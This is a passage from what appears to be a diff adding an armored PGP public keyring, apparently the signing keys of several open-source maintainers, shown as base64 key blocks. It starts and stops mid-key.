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 